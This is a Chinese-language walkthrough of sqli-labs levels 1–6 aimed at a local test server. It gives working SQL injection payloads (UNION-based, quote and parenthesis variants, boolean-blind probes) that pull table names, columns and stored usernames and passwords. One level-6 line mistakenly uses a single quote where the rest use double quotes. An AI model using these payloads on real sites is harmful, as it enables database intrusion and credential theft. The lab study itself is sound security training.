sqllabs 1~6通关详解

第一关 基于错误的GET单引号字符型注入

存在注入点判断
1,加上单引号报错

http://127.0.0.1/sqli-labs-master/Less-1/?id=1%27

在这里插入图片描述

2,加上注释符页面正常

http://127.0.0.1/sqli-labs-master/Less-1/?id=1%27--+

在这里插入图片描述

注释方式
# 号注释
%23 注释
–+ 注释
3,判断字段数(使用order by)

http://127.0.0.1/sqli-labs-master/Less-1/?id=1%27order%20by%203%23  # 正常
http://127.0.0.1/sqli-labs-master/Less-1/?id=1%27order%20by%204%23 # 页面显示错误

说明字段数为3

4,执行注入Payload

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,2,3%23

在这里插入图片描述
查看数据库数据

  • 查看表名称
    group_concat函数:将查询到的多行结果连接成字符串
http://127.0.0.1/sqli-labs-master/Less-1/id=-1'%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()%20--+

在这里插入图片描述

  • 查看列名
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1%27%20UNION%20SELECT%201,2,group_concat(column_name)%20FROM%20information_schema.columns%20WHERE%20table_schema%20=%27sqlilabs%27%20AND%20table_name=%27users%27%20--+

在这里插入图片描述

  • 查看字段
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1%27%20UNION%20SELECT%201,group_concat(username%20SEPARATOR%20%27-%27),group_concat(password%20SEPARATOR%20%27-%27)%20FROM%20users%20--+

在这里插入图片描述

第二关 基于错误的GET整型注入

和第一关是一样进行判断,当我们输入单引号或者双引号可以看到报错,且报错信息看不到数字,所有我们可以猜测sql语句应该是数字型注入。那步骤和我们第一关是差不多的。

"SELECT * FROM users WHERE id=$id LIMIT 0,1"
"SELECT * FROM users WHERE id=1 ' LIMIT 0,1"出错信息。
 
 
?id=1 order by 3
?id=-1 union select 1,2,3
?id=-1 union select 1,database(),version()
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
?id=-1 union select 1,2,group_concat(username ,id , password) from users

在这里插入图片描述

第三关 基于错误的GET单引号变形注入

当我们在输入**?id=2’**的时候看到页面报错信息。可推断sql语句是单引号字符型且有括号,所以我们需要闭合单引号且也要考虑括号。
在这里插入图片描述

通过下面代码构建就可以进行sql注入。后面所有代码以此为基础进行构造。

?id=2')--+
?id=1') order by 3--+
?id=-1') union select 1,2,3--+
?id=-1') union select 1,database(),version()--+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+

在这里插入图片描述

第四关 基于错误的GET双引号字符型注入

根据页面报错信息得知sql语句是双引号字符型且有括号,在这里插入图片描述
通过以下代码进行sql注入

?id=1") order by 3--+
?id=-1") union select 1,2,3--+
?id=-1") union select 1,database(),version()--+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+

第五关 基于GET单引号双注入

1,输入单引号测试,有报错信息,返回信息和第一关错误信息一样
2,不管输入id为多少,页面一直都是 you are in …猜测正确的页面不变,不会将查询结果打印到页面了,查看源码发现,确实是不输出结果了,但是会把错误的信息给打印出来.
在这里插入图片描述

如果数据 不显示只有对错页面显示我们可以选择布尔盲注。布尔盲注主要用length(), ascii() , substr()这三个函数,首先通过length()函数确定长度再通过另外两个确定具体字符是什么。布尔盲注向对于联合注入来说需要花费大量时间。

?id=1'and length((select database()))>9--+
#大于号可以换成小于号或者等于号,主要是判断数据库的长度。lenfth()是获取当前数据库名的长度。如果数据库是haha那么length()就是4
?id=1'and ascii(substr((select database()),1,1))=115--+
#substr("78909",1,1)=7 substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。ascii()是将截取的字符转换成对应的ascii吗,这样我们可以很好确定数字根据数字找到对应的字符。
 
 
?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+
判断所有表名字符长度。
 
?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
逐一判断表名
 
?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
判断所有字段名的长度
 
?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
逐一判断字段名。
 
 
?id=1' and length((select group_concat(username,password) from users))>109--+
判断字段内容长度
?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+
逐一检测内容。

第六关 基于GET双引号双注入

和第五关类似,只要用双引号闭合即可
根据页面报错信息可以猜测id参数是双引号,只需将第五关的单引号换成双引号就可以了。

?id=1"and length((select database()))>9--+
#大于号可以换成小于号或者等于号,主要是判断数据库的长度。lenfth()是获取当前数据库名的长度。如果数据库是haha那么length()就是4
?id=1'and ascii(substr((select database()),1,1))=115--+
#substr("78909",1,1)=7 substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。ascii()是将截取的字符转换成对应的ascii吗,这样我们可以很好确定数字根据数字找到对应的字符。
 
 
?id=1"and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+
判断所有表名字符长度。
 
?id=1"and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
逐一判断表名
 
?id=1"and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
判断所有字段名的长度
 
?id=1"and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
逐一判断字段名。
 
 
?id=1" and length((select group_concat(username,password) from users))>109--+
判断字段内容长度
?id=1" and ascii(substr((select group_concat(username,password) from users),1,1))>50--+
逐一检测内容。
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值